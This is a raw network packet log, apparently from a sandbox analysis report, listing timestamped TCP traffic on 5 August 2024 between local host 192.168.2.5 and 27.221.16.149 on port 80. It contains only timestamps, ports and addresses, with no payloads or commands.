Aug 5, 2024 12:00:02.442874908 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.442893028 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.442945004 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.442945957 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.442979097 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443011045 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443032980 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.443046093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443078041 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443097115 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.443113089 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443146944 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443170071 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.443180084 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443212986 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443234921 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.443248987 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.443298101 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.445925951 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.445957899 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.445990086 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446022034 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446053982 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446085930 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446118116 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446144104 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.446150064 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446182966 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446209908 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.446213961 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446248055 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446264029 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.446279049 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446310997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446325064 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.446343899 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446376085 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446389914 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.446407080 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446439028 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446453094 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.446470976 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446505070 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446511984 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.446899891 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.446955919 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.745999098 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746048927 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746084929 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746107101 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746124983 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.746126890 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746149063 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746151924 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.746170998 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746191978 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746225119 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.746225119 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.746392965 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746520042 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746644020 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.746737003 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746777058 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746794939 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746819019 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746834040 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.746849060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747051954 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.747279882 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747296095 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747312069 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747328997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747343063 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747370005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747420073 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747435093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.747514963 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.748286009 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748332977 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748348951 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748414993 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.748456955 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748471975 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748516083 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.748524904 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748569012 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.748868942 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748939037 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748953104 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748967886 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.748986959 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.748991013 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.749006987 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.749006987 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.749022007 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.749038935 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.749053001 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.749074936 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.749881983 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.749897957 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.749914885 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.749954939 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.071630001 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071690083 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071748972 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071777105 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.071783066 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071816921 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071851969 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071866035 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.071885109 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071893930 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.071919918 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071954966 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.071999073 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.072113037 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072146893 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072160006 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.072180986 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072212934 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072246075 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072257996 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.072278976 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072285891 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.072325945 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072366953 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072417974 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.072577953 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072624922 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.072629929 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072663069 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072696924 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.072738886 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075006008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075139046 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075169086 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075198889 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075202942 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075232983 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075237989 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075270891 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075303078 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075314999 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075335979 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075345993 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075371981 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075404882 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075448036 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075558901 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075597048 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075614929 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075661898 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075696945 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075727940 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075742006 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075761080 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.075769901 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.075963020 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076061010 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076103926 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.076108932 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076153040 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.076160908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076193094 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076225042 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076256990 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076268911 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.076289892 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076299906 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.076442003 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076581955 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076610088 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076628923 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.076652050 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.076662064 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.076698065 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.079716921 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.137479067 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.137514114 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.137547970 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.137586117 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.178431034 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.454972982 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455029011 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455066919 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455101967 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455127001 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455166101 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455193043 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455250978 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455281973 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455298901 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455316067 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455348015 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455364943 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455382109 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455413103 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455434084 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455445051 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455476046 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455488920 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455509901 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455540895 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455554962 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455573082 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455611944 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455625057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455893993 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455943108 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.455944061 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.455992937 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456024885 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456037998 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.456056118 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456095934 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456110954 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.456294060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456326962 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456343889 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.456377029 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456408024 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456423998 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.456440926 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456474066 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456507921 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.456784010 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456831932 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.456835032 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456891060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456923008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.456939936 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.456955910 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457000971 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.457004070 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457036972 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457067013 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457077980 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.457101107 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457132101 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457146883 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.457166910 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457197905 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457211971 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.457238913 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457283020 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.457716942 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457763910 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457799911 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457818985 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.457830906 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457864046 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457878113 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.457895994 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457928896 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.457942009 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.457962990 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.458008051 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.458420992 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.458740950 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.458815098 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.523991108 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.524010897 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.524024963 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:03.524107933 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:03.566978931 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.478580952 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478651047 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478708029 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478724957 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.478740931 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478776932 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478796959 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.478827000 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478859901 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478883028 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.478893042 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478926897 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478945971 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.478960037 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.478991985 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479013920 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479022026 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479054928 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479070902 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479106903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479139090 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479161024 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479186058 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479218960 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479240894 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479250908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479283094 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479304075 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479315042 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479346991 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479366064 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479378939 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479425907 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479429007 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479475021 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479506969 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479525089 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479538918 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479571104 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479592085 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479604006 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479636908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479652882 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479669094 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479705095 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479727030 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479736090 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479787111 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479790926 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479823112 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479856014 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479871988 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479887962 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479919910 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479938984 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.479952097 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.479984045 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480005026 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480015039 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480048895 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480082989 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480092049 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480115891 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480129957 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480148077 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480180025 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480201960 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480212927 CEST	80	49766	27.221.16.149	192.168.2.5
